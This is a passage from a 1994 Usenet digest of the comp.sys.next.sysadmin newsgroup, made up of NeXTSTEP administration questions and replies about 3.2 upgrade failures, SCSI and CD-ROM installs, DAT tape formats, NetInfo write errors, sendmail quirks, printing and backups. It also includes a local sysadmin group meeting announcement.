i re-upgraded to 3.2, which again, failed on post-processing. now, has anyone
heard of problems with using a multispeed drive (ie: 3x NEC) with the installs?
i could read from the drive fine in the window manager, but i can't seem to
use it for the install. any ideas?
thanks
beckers
From: bcomes@odie.wes.army.mil (Bradley M. Comes)
Newsgroups: comp.sys.next.sysadmin
Subject: DOS I/O via NS
Date: 4 May 1994 16:29:56 GMT
Organization: USACE Waterways Experiment Station
Message-ID: <2q8ii4$dv9@Joanna.Wes.Army.Mil>
Keywords: DOS,I/O
I have encountered problems with my DOS I/O capability on my 68040 based
NeXT. Two critical operations will not function:
1. Executing BuildDOS under NextAdmin. At the very end of this process
(after the formatting bar is full), I get an Error panel that says
"make_dos: I/O ERROR". The only choice is to click on OK which removes
the panel and ejects the disk.
2. I then took an already formatted disk and inserted it. When trying to
move (copy) a file from my File Viewer to the DOS disk icon, it opens a
Processes panel (the background one) and infoms me "file error for
/DOS/fname: Invalid Argument" where fname is the name of the file I was
trying to copy.
Prior to experiencing these problems, also had a problem where the file
would appear to transfer but when it got there, the filename was there but
the file itself was empty. I don't know if this is related but since I
cannot even copy a file now, I cannot recreate this problem.
HELP!!!
Brad
Newsgroups: comp.sys.next.sysadmin
From: david@smobject.com (David Vazquez)
Subject: Re: How to blow away NeXTboot?
Message-ID: <1994May4.161803.17184@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: SmartObject Technologies, Inc.
References: <1994Apr27.152313.459@LoftTech.com>
Date: Wed, 4 May 1994 16:18:03 GMT
J. G. Gregory (jgg@LoftTech.com) wrote:
: A customer of ours has an Intel GX/Pro that they want to turn back into a
: DOS/Windows machine.
: How do you do this? They can't seem to get rid of the NeXT boot thing.
: Is this documented somewhere?
I've been able to get rid of the NeXT boot by installing DOS 6.2. I have a
hunch that if the DOS partition is the first on the drive, you can get rid of
NeXTboot by going into DOS and doing a 'sys c:'.
: --J Gregory
-David Vazquez "david@smobject.com"
From: gt6963c@prism.gatech.edu (John)
Newsgroups: comp.sys.next.misc,comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Problems wih CDPlayer.app
Date: 4 May 1994 13:41:34 -0400
Organization: Georgia Institute of Technology
Message-ID: <2q8moe$nc5@acme.gatech.edu>
Well, at first I thought this might be related to the fact that
I didn't have an audio cable between my cdrom and my PAS-basic..but
that's not the case. For a while I couldn't get audio cd play out
of any of my 3 OS's (Nextstep, Dos, OS/2). But, I've fixed it on
OS/2 (it needed the audio cable), and Dos/windows (needed both the
cable, and the scsi drivers weren't loading propperly)..but now
i'm still having problems wiht Nextstep.
I have a main user account (kzin) and some lesser project accounts
(that aren't relevent), plus root. I have NS/Intel 3.2 on my Gateway
2000, 16mb ram, 400mb disk space for NS, an Adaptek 1542c, a Sony
CDU561 cdrom, and a Pro-Audio 16 basic. Oh, and an internal modem
that is using the MUX serial driver that was posted here. (The CD
rom is id#2 on the scsi bus, and it's the only thing on the bus
besides the host adaptor)
For the whole time, I've had kzin set the public sound server option.
Last night I figured maybe the problem was that root needed to set it
as well. So I logged in as root, set the option. Then I inserted
the audio cd.. the console showed it probing for the filesystem and
mounting it.. and I got the cdplayer app..for the first time ever..
So I clicked to play the cd.. NO SOUND. I can hook up headphones
to the drive and listen, but there's no sound comming out of my
speakers (from the sound card).
So I went back to my kzin account... put the cd in..and it
started to probe for the cd , but after it mounted it as /cdaudio,
it said: "cdaudio.util Cannot open CDPlayer" and ejected the cd.
Same error I always get. I've tried having CDPlayer be setuid root,
or not. I've tried a LOT of things..none of which seem to work.
Also, even when root gets cdplayer.app to run, there is no such
mount as /cdaudio (which is where the console informs me that it
has placed the cd).
So..what's the deal here? If it were a hardware problem, it wouldn't work
on the other operating systems.. so it's got to be a software problem.
Has anyone else gotten a setup like this to work propperly?
(oh, in case it matters, I have deleted the "me" account, and its
files).
Thanks for any help,
John
--
John "Kzin" Rudd gt6963c@prism.getech.edu (ex-kzin@cc.gatech.edu)
Ascii Mail only (no Nextmail) (ex-kzin@ucscb.ucsc.edu)
========Intel: Putting the backward in backward compatable.===============
From: rfoote@pcm5134.sph.umich.edu (Richard J. Foote)
Newsgroups: comp.sys.next.sysadmin
Subject: Networker for NEXTSTEP?
Date: 4 May 1994 18:34:31 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Message-ID: <2q8prn$6dd@controversy.math.lsa.umich.edu>
Does anybody know if there's a Networker client for NEXTSTEP (Intel)? Or
does anybody have thoughts or suggestions on backing up to Networker
Server from a NS/I machine? Our school is using Networker as it's backup
strategy and without buying a tape drive for ourselves, I'm looking for a
way to backup our system...
Richard Foote (rfoote@umich.edu)
From: bdc@blackjack.ai.mit.edu (Brian D. Carlstrom)
Newsgroups: comp.sys.next.sysadmin
Subject: X server for NS486?
Date: 04 May 1994 21:10:49 GMT
Organization: Massachvsetts Institvte of Technology
Distribution: world
Message-ID: <BDC.94May4171050@blackjack.ai.mit.edu>
I'm new to the NS world and I was wondering if any of the X servers that
had been ported to the black boxes have found there way onto the PC
boxes. maybe there is a port of XFree86 to NS?
any comments appreciated
-bri
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN1.4 for NS_FIP ?
Date: 4 May 1994 08:26:16 +0100
Organization: Palumbian Research Labs
Message-ID: <2q7imo$2b4@marsu.tynet.sub.org>
References: <2q3tpv$ocm@rain.psg.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
steve@eps.rain.com (Steve Kornreich) writes:
>Is there a precompiled version of INN1.4 for NS_FIP? If so what ftp site??
>If not, can someone please email me there config.data file.
Look for my port of INN 1.4 for NS on ftp.uni-stuttgart.de.
Markus.
--
/dev/ Markus Wenzel
/usr/spool/mail/ mow@marsu.uni-stuttgart.de
/etc/zoneinfo/ University of Stuttgart
/bin/ps System administration, Consulting, Networking
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.2 upgrade still doesn't work
Message-ID: <1994May4.181820.17593@umiami.ir.miami.edu>
Date: 4 May 94 18:18:20 EDT
References: <2q84qt$fmo@ef2007.efhd.ford.com>
Organization: Univ of Miami IR
Summary: 3.0 to 3.2 upgrade crash
Distribution: world
In article <2q84qt$fmo@ef2007.efhd.ford.com>, beckers@spin.iao.ford.com (Becki Kain) writes:
>
> howdy folks:
>
> well, i tried re-upgrading to 3.0 from the cdrom, and that worked great. then,
> i re-upgraded to 3.2, which again, failed on post-processing. now, has anyone
> heard of problems with using a multispeed drive (ie: 3x NEC) with the installs?
> i could read from the drive fine in the window manager, but i can't seem to
> use it for the install. any ideas?
>
> thanks
>
> beckers
This is interesting. First, I have a 3.0 color slab (non-turbo) which
I want to upgrade to 3.2 - I have the CD for 3.2 but haven't gotten
around to the upgrade.
Second, I had some similar weird problems with upgrading Intel 3.1
systems to 3.2. One type of client machine had problems with my
old single speed Sony CD-Rom drive. I'd get most of the install
done and everything would freeze right at the end (as I remember)
leaving me with an unusable system.
(I am reposting - I just remembered something) - Do the following
with your 3.0 system - Put any CD disk in the drive - I used
the demo software disk. Copy lots of stuff (10, 20, 40MB of files
including some big applications) to your hard drive. In the case
of my flaky CD ROM/computer/NeXTstep interaction, I had a lockup
or non-fatal crash (I forget exactly what).
I finally installed sucessfully on another type of 3.1 Intel system, then
did the install on the clients over the network.
I would appreciate being kept informed. I will be on vacation in some days
until June 3. Please email replies to our VMS VAX which will be kept
on line -
therbert@umiami.ir.miami.edu
Tom Herbert
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1994May4.180451.17592@umiami.ir.miami.edu>
Message-ID: <1994May4.181858.17594@umiami.ir.miami.edu>
Date: 4 May 94 18:18:58 EDT
Control: cancel <1994May4.180451.17592@umiami.ir.miami.edu>
Distribution: world
cancel <1994May4.180451.17592@umiami.ir.miami.edu>
From: scheidel@inca.gate.net (Michael S. Scheidell)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Followup-To: comp.sys.next.sysadmin,comp.periphs.scsi
Date: 4 May 1994 17:21:35 -0400
Message-ID: <2q93kv$v2d@inca.gate.net>
References: <2pokhl$mpv@news.mic.ucla.edu> <Cp0w3C.K6D@bri.hp.com> <2q37vl$po0@nwfocus.wa.com> <Cp7xtC.MrB@bri.hp.com> <2q6ffb$dd@panix.com>
Harvey Fishman (fishman@panix.com) wrote:
: I am confused. Does that mean that it will write only DDS to 60 and 90 M
: media? And only DDS2 to 120 M cartridges?
The hp -80 will NEVER write DDS2.
and yes, the C1533A will only write DDS on 60m or 90m
and DDS2 on 120m.
so, if you need to write to a DDS drive, use 90 or 60m - DDS tapes
if you want to write max capacity on DDS2 drive, you must use DDS2 (120m)
tapes.
: I am even further confused by this. I was of the opinion that the answer
: to my above question was that the writing method to the short tapes was
: DDS. But I was further of the opinion that part of the gain in writing
: rate was that the format of DDS2 was denser than DDS so that not all of
: the gain was due to faster tape motion. If those assumptions are true,
: then I do not see how you can write the short tapes at the higher speed.
yes, DDS2 is denser, but the HP DDS2 drive is BETTER/FASTER/MORE RELIABLE
it can write about 510k in DDS format on 60meter or 90meter tapes
--
Michael S. Scheidell Florida Datamation, Inc.
scheidel@gate.net (407) 241-2966
Newsgroups: comp.sys.next.sysadmin
From: fms@chemelex .com (Fred Schenkelberg)
Subject: cd-rom public?
Message-ID: <CpAC9u.1BF@chemelex.com>
Sender: fms@chemelex.com (Fred Schenkelberg)
Organization: Research Group of Chemelex Division of Raychem Corporation
Distribution: ba,na,usa,world
Date: Wed, 4 May 1994 15:56:17 GMT
Hi, is it possible to set up a cd player to a NeXT and make it
public (like a public printer) ??
Thanks, Fred
--
Fred Schenkelberg
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: Floppy problems with SoftPC
Date: 4 May 1994 23:33:51 GMT
Organization: University of Maryland, College Park
Message-ID: <2q9bcv$jdo@cville-srv.wam.umd.edu>
We're trying to evaluate SoftPC on NS/Intel systems.
Don't ask why. What we find is that 1/2 of the time
SoftPC crashes and crashes the WorkSpace Manager - all
has to do with floppy access under SoftPC. Attaching
drive A: works, but often unattaching does not. NS seems
to be seeking a disk in the floppy drive after unattach
and hangs. Anyone?
thanks
R. de Lucca
Johns Hopkins
From: jdj@busstop.jpl.nasa.gov (Jeff Jacobson)
Newsgroups: comp.sys.next.sysadmin
Subject: Cannot Modify NetInfo Database. What Can I Do?
Date: 04 May 1994 23:53:18 GMT
Organization: Jet Propulsion Laboratory
Distribution: na
Message-ID: <JDJ.94May4165318@busstop.jpl.nasa.gov>
The Problem: We began to have network problems. Turned out that the
localhost and broadcast had inexplicably disappeared from the netinfo
database. We added them to the database, but added localhost
incorrectly. After that, we could no longer write to netinfo. We
cannot even change a user's password. When we try to change a user's
password, we get the following error message:
The error message is: "Unable to modify user in NetInfo database.
Error was 'No writes allowed: all objects are read-only'."
Please note: All the files in netinfo are writeable. It looks like
the database has been marked read-only. The questions are:
1. Can we somehow just re-enable write access?
2. Can we just rebuild netInfo (nidump, destroy, create, niload)?
3. Or, are we stuck with re-installation?
4. What is the purpose of the checksum file, in
/etc/netinfo/local.nidb?
Also, does anyone know any good virus detection S/W.
Thank you.
Jeff Jacobson (jdj@busstop.jpl.nasa.gov)
--
Jeff Jacobson
Jet Propulsion Laboratory
Mailstop: 168-522
4800 Oak Grove Drive
Pasadena, CA 91109
(818) 354-8318 FAX: (818) 393-6962
From: cgeyer@aol.com (Cgeyer)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't install 1.2GB disk
Date: 4 May 1994 18:13:03 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2q96lf$qtj@search01.news.aol.com>
What kind of Adaptec 1542 adapter is it? 1542B, CF, C?
You may need to get a driver update from NeXT. You can get it from them free
through FTP or by calling there tech support (you don't have to pay the
$30/15minute fee).
Chris
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: cd-rom public?
Message-ID: <CpB0yp.LLM@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
References: <CpAC9u.1BF@chemelex.com>
Distribution: ba,na,usa,world
Date: Thu, 5 May 1994 00:49:37 GMT
In article <CpAC9u.1BF@chemelex.com> fms@chemelex .com (Fred Schenkelberg)
writes:
> Hi, is it possible to set up a cd player to a NeXT and make it
> public (like a public printer) ??
>
Its not as easy as a printer. You can put in a particular disk, and have that
share across the network. Insert the disk, and then use NFSManager to make it
available. On your client workstations, use NFSManager again to mount that
particular disk.
This is fine for installations, or for particular use with a particular disk
(like when doing certain kinds of upgrade), but not that useful, it has to be
fixed to one disk, one mount etc.
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
Newsgroups: comp.soft-sys.nextstep,comp.sys.sysadmin,comp.sys.next.sysadmin,comp.sys.next.misc
From: ecarlino@falcon.depaul.edu (Eric J. Carlino)
Subject: Help with Bus Logic 445S VLB SCSI controller / Installation
Sender: news@hal.depaul.edu (News Admin)
Organization: DePaul University, Chicago
Date: Thu, 5 May 1994 02:09:49 GMT
Message-ID: <1994May5.020949.27504@hal.depaul.edu>
I have the following equipment:
486/33 VLB
#9GXE level 11
Bus Logic 445S
16mb RAM
800mb SCSI drive
SCSI CD ROM drive
3.5" floppy
I am trying to install NS/FIP v3.2
I have the floppy attached to a seperate controller, have disabled the floppy
on the Bus Logic, installed new ROMs on the Bus Logic, am using the latest
drivers from NeXT.
I still get this error when installing:
Registering: PCKeyboard0
Registering: event0
Registering: kmDevice0
No SCSI controller or CD ROM drive found
use sd%d, hd%d or fd%d
root device?
What does all this mean and how should I proceed.
Anyone else using the Bus Logic?
HELP!!
Thanks,
Eric
--
\////
(O-O)
_______oOO_(_)_OOo________
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Alias Management
Message-ID: <CpB045.LHJ@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
Date: Thu, 5 May 1994 00:31:16 GMT
Alias Management is becoming a bugbear here for us now. We have some mailing
lists that we maintain internally, mainly for different subsets of customers,
interested people, prospects, etc etc. I want a system that allows us to create
a local alias, share that between a group of people (or better, a netinfo
domain), but not allow that alias to be externally mailable. I want to be able
to mail to "customers", but I don't really want to be able to mail to
"customers@xexos.com".
My options pan-out something like the following :-
1) Do something clever with netinfo domains. Put my mail machine in its own
mail domain that doesn't have our internal aliases. The right thing to do on a
big network, probably overkill for 10 workstations.
2) Do something clever with procmail, or one of the other list managers.
3) ?
All suggestions/thoughts appreciated. Aliases have always been a problem at
customer sites, particularly when you start having mail gateways, external mail
systems etc, all that need daily/hourly loading into your netinfo tables etc.
Its a seperate, but related discussion I think... Anyone written any really
good netinfo alias management tools yet?
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Upgrade to 3.2(black) gone awry ---HELP---
Message-ID: <1994May4.200321.242@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
Date: Wed, 4 May 1994 20:03:21 GMT
The experience I'm just making is daunting (to put it mildly). I need
your comment, advice, support. In short words, I need your help!
Last week I was lucky (at least I thought to be) to get ny NS 3.2 CD at
last. I didn't wait to do the upgrade and at first it seemed to go all
well.
My system ("simple" mono-slab, 20 MB RAM, 1.5 GB disk, DAT tape, Sony CD)
is highly configured (Taylor UUCP, several developer packages, lots of
fonts...) so I decided to do a manually revised upgrade. I decided to
leave all UUCP things, the rc.local and (now the fun is starting)
loginwindow, since I hate this powerdown button and didn't want to patch
this again. Latter step was desastrous, since the Upgrade didn't procede
until I installed the new loginwindow in standalone from CD. The rest
seemed to go well. After testing I found that only root could get a
Workspace session and tracked the problem down to missing s-bits, which I
restored manually.
But now trouble really starts! All Workspace sessions don't seem to
reclaim memory in way that makes the swapfile grow. They just consume
what's there and then slowly cede to work. First, the slightest action
brings minutes of spinning disk curor and then the Workspace stops
completely. Only running (even if iconified) Workspace apps remain usable
until they run out of memory of their own. If this state is reached even
a halt is unsuccessful and the powerdown button of the keyboard is out of
function. Only hard plugging of the power cord helps!
Efforts to track down my problem leads to the following insight:
1. swapfiles are not extended to lowat-size on reboot (used to be so
before upgrade)
2. all Workspace launched apps don't get additional swapspace (checked
this one from the terminal window)
3. there are no traces on the console or in /usr/adm/messages
4. the size of swapfile.front on the root disk (only 22 MB free space
left) is 0
5. the second swapfile (170 MB free on this partition) is very slowly
growing (1. swapfile is exactly 16 MB (lowat) and 2. is 12 MB and very
slowly growing). I attribute this to ordinary UNIX processes like C-news
jobs and housekeeping.
First, I'm not the type of guy who likes to leave a problem unsolved (at
least not one like this) and want to call for any piece of knowledge that
might help me track this down!
Second, if I'm not able to find the culpit I have three options for
drastic measures and like to hear your advice, comment, suggestion:
1. Retry Upgrade_3.2 to the current system
2. Install NS 3.2 from CD and restore all configuration manually from
backup (very tedious hand craft)
3. Install NS 3.1 from CD and restore all of the former system from backup
to try another upgrade lateron.
Any comment welcome!
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
From: stoleson@stutter
Newsgroups: comp.sys.next.sysadmin
Subject: Printer Help - Settings
Date: 3 May 1994 16:59:31 GMT
Organization: IBM Rochester
Message-ID: <2q5vtj$1itr@locutus.rchland.ibm.com>
Does anyone have any experience using an Apple Personal LaserWriter
with a NeXTstation?
I don't know how to set the settings in the configuration panel.
What speed should the serial port be set, and should hardware
handshaking be on?
- dave
** Not an IBM spokesperson **
From: kanefsky@halcyon.halcyon.com (Steve Kanefsky)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Date: 5 May 1994 14:16:04 GMT
Organization: A World of Information at Your Fingertips
Message-ID: <2qav34$crl@nwfocus.wa.com>
References: <2pokhl$mpv@news.mic.ucla.edu> <Cp7xtC.MrB@bri.hp.com> <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net>
In article <2q93kv$v2d@inca.gate.net>,
Michael S. Scheidell <scheidel@inca.gate.net> wrote:
>Harvey Fishman (fishman@panix.com) wrote:
>
>: I am even further confused by this. I was of the opinion that the answer
>: to my above question was that the writing method to the short tapes was
>: DDS. But I was further of the opinion that part of the gain in writing
>: rate was that the format of DDS2 was denser than DDS so that not all of
>: the gain was due to faster tape motion. If those assumptions are true,
>: then I do not see how you can write the short tapes at the higher speed.
>
>yes, DDS2 is denser, but the HP DDS2 drive is BETTER/FASTER/MORE RELIABLE
>it can write about 510k in DDS format on 60meter or 90meter tapes
So it seems that a DDS-2 drive might be worth it even if you never use
120m tapes -- i.e. the speed alone is worth paying extra for.
Can anyone compare the Archive DDS-2 drive with the HP (or the Sony)? My
favorite drive vendor is only selling the Archive right now, and I want to
know if it's worth going out of my way for the Sony or the HP.
--
Steve Kanefsky
Newsgroups: comp.sys.next.sysadmin
From: newman@string.harvard.edu (Michael Newman)
Subject: More sendmail.cf curiosities
Message-ID: <CpC8Ks.AA9@das.harvard.edu>
Sender: usenet@das.harvard.edu
Organization: Division of Applied Sciences, Harvard University
Date: Thu, 5 May 1994 16:31:39 GMT
A couple of days ago I posted a message about a problem with the
sendmail.cf on our network, which resulted in a missing "From:" line in
messages sent from the clients to the mailhost. I have managed to fix the
problem, but I have no idea why the solution works.
It turned out that the problem was in the sendmail.cf of the mailhost, and
what I did was to add a totally spurious line at the top of the mail
header definitions, along the lines of
HX-Test: this line is totally bogus.
For whatever reason, this seems to fix the problem. Does anyone have any
idea why?
Thanks again,
Michael Newman
Newsgroups: comp.sys.next.sysadmin
From: david@smobject.com (David Vazquez)
Subject: nntpxfer & tin
Message-ID: <1994May5.163852.15840@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: SmartObject Technologies, Inc.
Date: Thu, 5 May 1994 16:38:52 GMT
Has anyone compiled an NeXTStep 3.2 for Intel version of nntpxfer (the program
used to download mail from a remote NNTP server)? I have the NNTP server that
came with C-News (the one on cs.orst.edu), but it only has nntpxmit (the
program to upload news to a remote site).
Also, I get an error message "441: posting failed" whenever I post news using
tin 1.22 via NNTP to my local NNTP server, but a post news fine using tin to
a remote news server. What can be wrong?
-David Vazquez "david@smobject.com"
From: merz@ips.id.ethz.ch (Andreas Merz)
Newsgroups: comp.sys.next.sysadmin
Subject: How to set back to 512byte Blocksize
Date: 5 May 1994 17:34:40 GMT
Organization: Swiss Federal Institute of Technology (ETHZ)
Message-ID: <2qbang$j7h@elna.ethz.ch>
Hello NeXters!
I have configured my Maxtor 4380S drive for 1024byte blocksize.
Now, i must change this back to 512byte bs, but all my efforts are useless...
How can i change it back???
Thank you for any hints or solutions...
--
---------------> Andreas Merz / Internet: merz@ips.ethz.ch <----------------
------> Interdisciplinary Project Center for Supercomputing (IPS) <------
"The solution of the mind is an organised way
of not coming to any conclusion" -Sri Chinmoy
Newsgroups: comp.sys.next.sysadmin
From: Miles@weighton.demon.co.uk ("M.A. Pearson")
Subject: Intel to INET Guidance Requested
Organization: Computec Systems Support Ltd
Date: Thu, 5 May 1994 18:53:24 +0000
Message-ID: <768164004snz@weighton.demon.co.uk>
Sender: usenet@demon.co.uk
Hi
I am very new to the net and am having to suffer connecting to the net using
a DOS pc which is becoming annoying. I would be most grateful if some kind
soul would point me to relevant FAQ's or simply answer the following points,
E-Mail prefered (ascii though!).
1) What are the (SW) components required that will run on NS3.1 for Intel
which will provide me with the same facilities as my dos system which are;
News SW and off-line reader
Mail handler
FTP facilities
and exstras for making better use of the net ie WWW interface.
Whilst Newsgrazer etc is often mentioned I need to know which pieces of the
puzzle work together in order to make the whole workable.
2) Presently I am lumbered with a PC/DOS approach to the net, the software I
am using is good but I obviously want the facilities of NEXTSTEP, as I much
prefer it to DOS/Windows (But then who wouldn't?). When FTP'ing NS binaries
to my dos partition and then re-booting to NS, I cannot get them to work :-(
I assume this must be related to CR/LF mapping between DOS and UNIX? If so
what is a work around that will (for now) allow me to download binaries and
get them successfully to run under NS?
All help in this area would be much appreciated.
Thanks for your help
We all have to learn sometime!
Miles Pearson
Miles@weighton.demon.co.uk
From: cew@otero-next.Stanford.EDU (Carlin Edward Wiegner)
Newsgroups: comp.sys.next.sysadmin
Subject: How does one reinstall 3.0?
Date: 5 May 1994 18:56:52 GMT
Organization: Stanford University
Message-ID: <2qbfhk$e7e@nntp2.Stanford.EDU>
I have the cd-rom and the floppy and it just keeps booting from the hard
drive...
CW
From: escott@esm.com ("E. Scott Menter")
Subject: NYSA Meeting featuring Alan Paller, Mon May 9, 6:15pm, Morgan Stanley, NYC
Message-ID: <9405021017.aa06550@paris.ics.uci.edu>
Summary: NYSA Meeting featuring Alan Paller, Mon May 9, 6:15pm, Morgan Stanley, NYC
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin
Organization: Enterprise Systems Management Corporation
Keywords: NYSA Sage systems administration
Distribution: us
Date: 2 May 94 17:17:29 GMT
***** NYSA (New York Systems Administrators)
*****
***** Next meeting: Monday May 9th, 6:15pm
***** Location: Morgan Stanley, 1251 Avenue Of The
***** Americas, 19th Floor, New York, NY 10020
***** (directions below)
*****
***** Attendance is free of charge and open to all, as always
I'm *very* pleased to announce that the speaker for the next
NYSA meeting will be none other than Alan Paller of Computer
Associates.
Alan is Director of Open Systems at Computer Associates where
his job is to help 10,000 mainframe sites downsize to UNIX and
open systems (and you thought downsizing was hard just at *your*
site!).
He is an accomplished speaker. He chaired the Experts Predict
The Future of Open Systems session at UNIFORUM; the entire CIO
Magazine 1992 CIO conference, and co-chaired the annual System
Administration, Networking and Security (SANS) conferences since
1992.
Alan earned information systems degrees from Cornell and MIT and
is the author of more than 100 articles and a book entitled,
"The EIS Book: Information Systems for Top Managers" (Irwin,
1991). He is also the co-author of a short booklet called "How
To Give The Best Presentation Of Your Life."
The topic of Alan's presentation will be "The Future of Unix and
Open Systems -- a summary of the 'Experts Predict The Future'
session at UNIFORUM". Alan chaired this extremely
well-received and informative session at the recent UNIFORUM
conference in San Francisco, and I'm certain you will find the
talk fascinating and entertaining.
NYSA is an informal group of Greater New York City systems
administrators who come together each month to share
information, learn some new tricks, and have a good time. In
addition to the guest speaker, each meeting features a Technical
Forum wherein members can raise questions and gain advice on
what's new, what's hot, and what's just more road kill on the
information highway.
NYSA meetings are the second Monday of each month, so plan
ahead!
This month's meeting will be held once again at Morgan Stanley,
on Avenue of the Americas between 49th and 50th Streets in
Manhattan. Use the 50th Street entrance. Go up to the 19th
floor, and signs or an attendant will guide you to the meeting
room.
Snacks are served at the meeting, and many of us adjourn to a
local tavern following the meeting.
See you there!
For more information, please send email to <nysa-request@esm.com> or
call 914/472-3635.
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: dump bootable disk without mounting it
Message-ID: <1994May5.172527.5260@vlsi.polymtl.ca>
Summary: dump bootable disk without mounting it
Keywords: DUMP BOOTABLE BOOT TAPE BACKUP
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Thu, 5 May 1994 17:25:27 GMT
How can I dump (level 0) a bootable disk on a scsi tape without mounting it?
Is a bootable floppy disk is the solution? (how can I build one?)
if yes, will dump will be able to update its files?
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
__
/ /_/
__/ / /
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: permission to do a rdump
Message-ID: <1994May5.172904.5426@vlsi.polymtl.ca>
Keywords: TAPE BACKUP REMOTE DUMP LEVEL0 PERMISSIONS RDUMP
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Thu, 5 May 1994 17:29:04 GMT
I tried to do a rdump but (with changing permission of my user operator
to wheel), rdump is complaining about permission denied...
Any hint?
Any other way to dump a entire disk (level0) to a remote scsi tape backup?
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From: jklinke@aeon.UCSD.EDU (Jochen Klinke)
Newsgroups: comp.sys.next.sysadmin
Subject: FM crashes after 3.2 upgrade
Date: 5 May 1994 15:54:42 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9405052053.AA00326@aeon.UCSD.EDU>
Hi,
after I upgraded my 030 Cube (28MB RAM,660MB HD) from NS3.0 to NS3.2,
FrameMaker crashes about every 5-10 minutes on keyboard or mouse events.
Strangely enough the swap file only shows 1.5 MB size and swapfile.front shows
256 MB. No messages on the console. Reinstalled FM from scratch -- no change!
Any ideas?
Thanks,
jk
From: jklinke@aeon.UCSD.EDU (Jochen Klinke)
Newsgroups: comp.sys.next.sysadmin
Subject: Printer problems
Date: 5 May 1994 16:20:17 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9405052118.AA00347@aeon.UCSD.EDU>
Hi,
I have several questions about printing:
(1) I have some problems with getting the PPD files for the HP 1200C/PS color
printer to work. I grabbed the PPD files from the Adobe FTP server, renamed the
Windows version of the PPD file (hp1200c1.ppd) to HP_DeskJet_1200C.ppd and
copied it (as root) to /NextLibraries/PrinterTypes/English.lproj. Then I chose
the new PPD file in the printer setup of PrintManager.app. When I print, the
options for 1200C show up in the Print panel (before I was using the PaintJet
PPD file), but on the printed page I only get the error message:
ERROR: rangecheck
OFFENDING COMMAND: setpagedevice
STACK:
(2) Whenever I print large color graphics on the HP 1200C/PS (on the I get a
stack overflow error and the graphics is printed only partially. Is this error
due to RAM limitation on the printer? The printer has 2MB RAM.
(3) I cannot print fonts (e.g. Copperplate) other than the standard
Next-provided font set on the printers (HP 4M 600/PS or HP 1200C/PS) hooked up
to our NSPC. I have no problem printing those fonts on our Next printer. The
directory /LocalLibrary/Fonts is exported to every machine. Any ideas?
Thanks,
jk
From: akonstan@math.macalstr.edu (Alexander V. Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: X11R6 client/server port ?
Date: 5 May 1994 17:54:24 GMT
Organization: Macalester College, Department of Computer Science
Message-ID: <2qbbsg$2nb@mckinley.cit.macalstr.edu>
Is anyone out there working on a port of X11R6 for NeXTSTEP ?
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From: dyaeb@SLAC.Stanford.EDU (David Aston)
Subject: Configuration of NeXTs on a subnet
Message-ID: <CpCnEK.Fy4@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Thu, 5 May 1994 21:51:55 GMT
We have run into a problem when reconfiguring some NeXTs after a network
change which moves them onto a subnet.
On the subnet we designated one machine as a clone netinfo and configuration
server, and provided all its information explicitly in /etc/hostconfig. This
was no problem, and seems to work correctly.
For the other machines on the subnet, we configured HOSTNAME and INETADDR to
be -AUTOMATIC-, but gave explicitly (the same for the entire subnet) ROUTER,
IPNETMASK and IPBROADCAST. The motivation for trying to do it this way is
that cron can be used to change the /etc/hostconfig files on these machines,
and they can then be rebooted remotely. BUT, done like this, they hang during
the reboot process, apparently because the netinfo/configuration server does
not supply HOSTNAME, and everything goes downhill from there.
If we try "fully automatic", ie
HOSTNAME=-AUTOMATIC-
INETADDR=-AUTOMATIC-
ROUTER=-ROUTED-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
